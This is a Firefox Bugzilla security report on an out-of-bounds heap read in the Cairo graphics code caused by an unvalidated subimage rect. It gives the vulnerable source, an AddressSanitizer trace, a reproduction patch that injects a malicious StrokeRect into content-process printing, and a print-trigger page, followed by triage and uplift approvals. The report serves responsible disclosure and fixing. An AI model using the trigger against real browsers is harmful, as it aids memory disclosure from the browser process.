Out of bounds read of arbitrary size and offset from the browser process using unchecked drawing parameters (Sandbox escape)
Categories
(Core :: Graphics, defect)
Tracking
()
People
(Reporter: oskarlindberg348, Assigned: lsalzman, NeedInfo)
References
Details
(Keywords: csectype-bounds, reporter-external, sec-moderate, Whiteboard: [client-bounty-form] [adv-main147+] [adv-esr140.7+] [adv-esr115.32+])
Attachments
(1 file)
|
48 bytes,
text/x-phabricator-request
|
RyanVM
:
approval-mozilla-beta+
RyanVM
:
approval-mozilla-esr115+
RyanVM
:
approval-mozilla-esr140+
tjr
:
sec-approval+
|
Details | Review |
Writeup follows
Background
Same as for bug 2004602
Vulnerability
When a pattern suface is extracted for drawing, GfxPatternToCairoPattern is called to create a cairo pattern which can draw from.
If we supply a surface pattern, a cairo surface will be extracted from that surface in GetCairoSurfaceForSourceSurface:
static cairo_surface_t* GetCairoSurfaceForSourceSurface(
SourceSurface* aSurface, bool aExistingOnly = false,
const IntRect& aSubImage = IntRect()) {
if (!aSurface) {
return nullptr;
}
IntRect subimage = IntRect(IntPoint(), aSurface->GetSize());
if (!aSubImage.IsEmpty()) {
MOZ_ASSERT(!aExistingOnly);
MOZ_ASSERT(subimage.Contains(aSubImage));
subimage = aSubImage; // [1]
}
if (aSurface->GetType() == SurfaceType::CAIRO) {
cairo_surface_t* surf =
static_cast<SourceSurfaceCairo*>(aSurface)->GetSurface();
if (aSubImage.IsEmpty()) {
cairo_surface_reference(surf);
} else {
surf = ExtractSubImage(surf, subimage, aSurface->GetFormat()); // [2]
}
return surf;
}
- subimage which is an attacker controlled subimage rect is passed as-is without validation its contained in the source surface.
- a surface is extract based on that subimage.
this will internally create a image surface for the subimage data:
static cairo_surface_t* CreateSubImageForData(unsigned char* aData,
const IntRect& aRect, int aStride,
SurfaceFormat aFormat) {
if (!aData || aStride < 0) {
gfxWarning() << "DrawTargetCairo.CreateSubImageForData null aData";
return nullptr;
}
unsigned char* data = aData + size_t(aRect.Y()) * size_t(aStride) +
size_t(aRect.X()) * size_t(BytesPerPixel(aFormat)); // [1]
cairo_surface_t* image = cairo_image_surface_create_for_data(
data, GfxFormatToCairoFormat(aFormat), aRect.Width(), aRect.Height(),
aStride); // [2]
- subimage data is calculated without validation.
- data is used to create new image surface.
this is later used for other drawing operations such as strokeRect
Asan report
==29509==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x519002091c80 at pc 0x6290ac24f4eb bp 0x7ffd8397a2c0 sp 0x7ffd83979a80
READ of size 1024 at 0x519002091c80 thread T0
#0 0x6290ac24f4ea in __asan_memcpy /builds/worker/fetches/llvm-project/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:63:3
#1 0x73cbeaaac71d in _cairo_image_surface_snapshot /home/user/Downloads/firefox/gfx/cairo/cairo/src/cairo-image-surface.c:823:2
#2 0x73cbeab207e6 in _cairo_surface_snapshot_copy_on_write /home/user/Downloads/firefox/gfx/cairo/cairo/src/cairo-surface-snapshot.c:194:10
#3 0x73cbeab20f75 in _cairo_surface_detach_snapshot /home/user/Downloads/firefox/gfx/cairo/cairo/src/cairo-surface.c:355:2
#4 0x73cbeab20f75 in _cairo_surface_detach_snapshots /home/user/Downloads/firefox/gfx/cairo/cairo/src/cairo-surface.c:340:2
#5 0x73cbeab20f75 in _cairo_surface_flush /home/user/Downloads/firefox/gfx/cairo/cairo/src/cairo-surface.c:1682:5
#6 0x73cbeab201ca in _cairo_surface_finish_snapshots /home/user/Downloads/firefox/gfx/cairo/cairo/src/cairo-surface.c:1035:14
#7 0x73cbeab201ca in _moz_cairo_surface_destroy /home/user/Downloads/firefox/gfx/cairo/cairo/src/cairo-surface.c:974:2
#8 0x73cbeaae3fde in _moz_cairo_pattern_destroy /home/user/Downloads/firefox/gfx/cairo/cairo/src/cairo-pattern.c:1161:5
#9 0x73cbeaa8a6fe in _cairo_gstate_fini /home/user/Downloads/firefox/gfx/cairo/cairo/src/cairo-gstate.c:220:5
#10 0x73cbeaa9aaf6 in _cairo_gstate_restore /home/user/Downloads/firefox/gfx/cairo/cairo/src/cairo-gstate.c:281:5
#11 0x73cbeaa9aaf6 in _cairo_default_context_restore /home/user/Downloads/firefox/gfx/cairo/cairo/src/cairo-default-context.c:132:12
#12 0x73cbeab3dfef in _moz_cairo_restore /home/user/Downloads/firefox/gfx/cairo/cairo/src/cairo.c:652:14
#13 0x73cbeada116f in mozilla::gfx::(anonymous namespace)::AutoPrepareForDrawing::~AutoPrepareForDrawing() /home/user/Downloads/firefox/gfx/2d/DrawTargetCairo.cpp:75:5
#14 0x73cbeada8521 in mozilla::gfx::DrawTargetCairo::StrokeRect(mozilla::gfx::RectTyped<mozilla::gfx::UnknownUnits, float> const&, mozilla::gfx::Pattern const&, mozilla::gfx::StrokeOptions const&, mozilla::gfx::DrawOptions const&) /home/user/Downloads/firefox/gfx/2d/DrawTargetCairo.cpp:1302:1
The stack trace goes all the way into cairo since the drawing from the created surface happens using cairo APIs.
Implicaitons
Out of bounds read of arbitrary size and offset from the browser process on latest firefox.
Reproduction
- Apply the following patch:
diff --git a/gfx/2d/DrawTargetCairo.cpp b/gfx/2d/DrawTargetCairo.cpp
index b44e57c93eaf..578684df26bb 100644
--- a/gfx/2d/DrawTargetCairo.cpp
+++ b/gfx/2d/DrawTargetCairo.cpp
@@ -216,15 +216,22 @@ static cairo_surface_t* CopyToImageSurface(unsigned char* aData,
}
unsigned char* surfData = cairo_image_surface_get_data(surf);
- int surfStride = cairo_image_surface_get_stride(surf);
- int32_t pixelWidth = BytesPerPixel(aFormat);
+ size_t surfStride = cairo_image_surface_get_stride(surf);
+ size_t pixelWidth = BytesPerPixel(aFormat);
+ size_t rowDataWidth = size_t(aRectWidth) * pixelWidth;
+ if (rowDataWidth > surfStride || rowDataWidth > size_t(aStride)) {
+ cairo_surface_destroy(surf);
+ return nullptr;
+ }
- unsigned char* source = aData + aRect.Y() * aStride + aRect.X() * pixelWidth;
+ const unsigned char* sourceRow = aData + size_t(aRect.Y()) * size_t(aStride) +
+ size_t(aRect.X()) * pixelWidth;
+ unsigned char* destRow = surfData;
- MOZ_ASSERT(aStride >= aRectWidth * pixelWidth);
for (int32_t y = 0; y < aRectHeight; ++y) {
- memcpy(surfData + y * surfStride, source + y * aStride,
- aRectWidth * pixelWidth);
+ memcpy(destRow, sourceRow, rowDataWidth);
+ sourceRow += aStride;
+ destRow += surfStride;
}
cairo_surface_mark_dirty(surf);
return surf;
@@ -250,12 +257,12 @@ static cairo_surface_t* GetAsImageSurface(cairo_surface_t* aSurface) {
static cairo_surface_t* CreateSubImageForData(unsigned char* aData,
const IntRect& aRect, int aStride,
SurfaceFormat aFormat) {
- if (!aData) {
+ if (!aData || aStride < 0) {
gfxWarning() << "DrawTargetCairo.CreateSubImageForData null aData";
return nullptr;
}
- unsigned char* data =
- aData + aRect.Y() * aStride + aRect.X() * BytesPerPixel(aFormat);
+ unsigned char* data = aData + size_t(aRect.Y()) * size_t(aStride) +
+ size_t(aRect.X()) * size_t(BytesPerPixel(aFormat));
cairo_surface_t* image = cairo_image_surface_create_for_data(
data, GfxFormatToCairoFormat(aFormat), aRect.Width(), aRect.Height(),
diff --git a/gfx/src/nsDeviceContext.cpp b/gfx/src/nsDeviceContext.cpp
index e34c941001f2..485a096e0ec5 100644
--- a/gfx/src/nsDeviceContext.cpp
+++ b/gfx/src/nsDeviceContext.cpp
@@ -10,11 +10,16 @@
#include "gfxPoint.h" // for gfxSize
#include "gfxTextRun.h" // for gfxFontGroup
#include "mozilla/LookAndFeel.h"
+#include "mozilla/gfx/2D.h"
+#include "mozilla/gfx/DrawEventRecorder.h"
#include "mozilla/gfx/PathHelpers.h"
+#include "mozilla/gfx/Point.h"
#include "mozilla/gfx/PrintTarget.h"
#include "mozilla/ProfilerMarkers.h"
#include "mozilla/StaticPrefs_layout.h"
-#include "mozilla/Try.h" // for MOZ_TRY
+#include "mozilla/Try.h" // for MOZ_TRY
+#include "mozilla/gfx/Rect.h"
+#include "mozilla/layout/printing/DrawEventRecorder.h"
#include "mozilla/widget/Screen.h" // for Screen
#include "nsDebug.h" // for NS_ASSERTION, etc
#include "nsFontMetrics.h" // for nsFontMetrics
@@ -24,6 +29,7 @@
#include "nsTArray.h" // for nsTArray, nsTArray_Impl
#include "mozilla/gfx/Logging.h"
#include "mozilla/widget/ScreenManager.h" // for ScreenManager
+#include "nsXULAppAPI.h"
using namespace mozilla;
using namespace mozilla::gfx;
@@ -141,6 +147,20 @@ UniquePtr<gfxContext> nsDeviceContext::CreateRenderingContextCommon(
RefPtr<DrawEventRecorder> recorder;
mDeviceContextSpec->GetDrawEventRecorder(getter_AddRefs(recorder));
dt = mPrintTarget->MakeDrawTarget(gfx::IntSize(mWidth, mHeight), recorder);
+
+ if (XRE_IsContentProcess()) {
+ auto data_surf_size = mozilla::gfx::IntSize(0x100, 1);
+ auto data_surf_format = SurfaceFormat::R8G8B8A8;
+ auto data_surf = Factory::CreateDataSourceSurface(data_surf_size,
+ data_surf_format, true)
+ .take();
+
+ auto pattern =
+ SurfacePattern(data_surf, ExtendMode::REPEAT, Matrix(),
+ SamplingFilter::GOOD, IntRect(0x100000, 0, 0x100, 1));
+ const auto rect = Rect(0, 0, 0x100, 0x1);
+ dt->StrokeRect(rect, pattern);
+ }
}
if (!dt || !dt->IsValid()) {
Please note this patch contains the mitigation for bug 2005014,
This was tested on the latest beta (commit c426fd01e1ab156b35b3c6c85c6e15c540b9a395), since this is where the fix for bug 2004602 landed, and I wanted to demonstrate the vulnerability even with the fixes.
- Host the triggering index.html (this just prints the page, save the result as pdf to trigger rendering, this is not a necessity for the bug. its for debugging reasons only)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Print Example</title>
<style>
/* This CSS rule hides the print button when the user is printing the page. */
@media print {
.print-button {
display: none;
}
}
</style>
<script>
window.print();
</script>
</head>
<body>
<header>
<h1>This is the content you can print</h1>
<p>This is a paragraph that will be included in the printout.</p>
</header>
<main>
<p>You can also control what gets printed using CSS.</p>
<p>
For example, elements with the class `print-button` will be hidden in
the print preview.
</p>
</main>
<footer>
<p>© 2025 Print Example</p>
</footer>
<button class="print-button" onclick="window.print()">
Print this Page
</button>
</body>
</html>
The vulnerability was found by manual auditing.
Updated•7 months ago
|
| Assignee | ||
Updated•7 months ago
|
| Assignee | ||
Updated•7 months ago
|
| Assignee | ||
Comment 3•7 months ago
|
||
Updated•7 months ago
|
| Assignee | ||
Comment 4•7 months ago
|
||
Comment on attachment 9532538 [details]
(secure)
Security Approval Request
- How easily could an exploit be constructed based on the patch?: This requires compromising printing, so isn't entirely simple to achieve.
- Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: Unknown
- Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: all
- If not all supported branches, which bug introduced the flaw?: None
- Do you have backports for the affected branches?: Yes
- If not, how different, hard to create, and risky will they be?:
- How likely is this patch to cause regressions; how much testing does it need?: Unlikely
- Is the patch ready to land after security approval is given?: Yes
- Is Android affected?: Yes
Updated•7 months ago
|
| Assignee | ||
Comment 5•7 months ago
•
|
||
This adds validation for the sampling rects against the data size so that sampling is bounded. It is in the general area of bug 2005014 (which ensured sampling math couldn't overflow), but is a distinct bug from it.
Updated•7 months ago
|
Comment 6•7 months ago
|
||
Comment on attachment 9532538 [details]
(secure)
Approved to land and request uplift
| Assignee | ||
Comment 7•7 months ago
|
||
Comment on attachment 9532538 [details]
(secure)
ESR Uplift Approval Request
- If this is not a sec:{high,crit} bug, please state case for ESR consideration:
- User impact if declined:
- Fix Landed on Version:
- Risk to taking this patch: Low
- Why is the change risky/not risky? (and alternatives if risky):
Beta/Release Uplift Approval Request
- User impact if declined/Reason for urgency:
- Is this code covered by automated tests?: Unknown
- Has the fix been verified in Nightly?: Yes
- Needs manual test from QE?: No
- If yes, steps to reproduce:
- List of other uplifts needed: Bug 2005014
- Risk to taking this patch: Low
- Why is the change risky/not risky? (and alternatives if risky):
- String changes made/needed:
- Is Android affected?: Yes
Comment 9•7 months ago
|
||
Comment 10•7 months ago
|
||
Comment on attachment 9532538 [details]
(secure)
Approved for 147.0b4.
Updated•7 months ago
|
Comment 11•7 months ago
|
||
| uplift | ||
Updated•7 months ago
|
Comment 12•7 months ago
|
||
Comment on attachment 9532538 [details]
(secure)
Approved for 140.7esr and 115.32esr.
Updated•7 months ago
|
Comment 13•7 months ago
|
||
| uplift | ||
Comment 14•7 months ago
|
||
| uplift | ||
Comment 15•7 months ago
|
||
In bug 1989899 we considered it a "sandbox escape" on the grounds that the data obtained by the bug was incorporated back into the canvas and in theory could be read and interpreted by the attacking page. In the bug is triggered by printing, and any usable data gathered by the OOBR would be printed away out of reach of the attacker. Still a potential vulnerability and maybe could be combined with other bugs, but on its own I don't see how this qualifies as a "sandbox escape". Is there any other ways to use this flaw?
Updated•6 months ago
|
Comment 16•6 months ago
|
||
Based on Dan's analysis above, removing csectype-sandbox-escape.
Updated•6 months ago
|
Updated•6 months ago
|
Updated•2 months ago
|
Description
•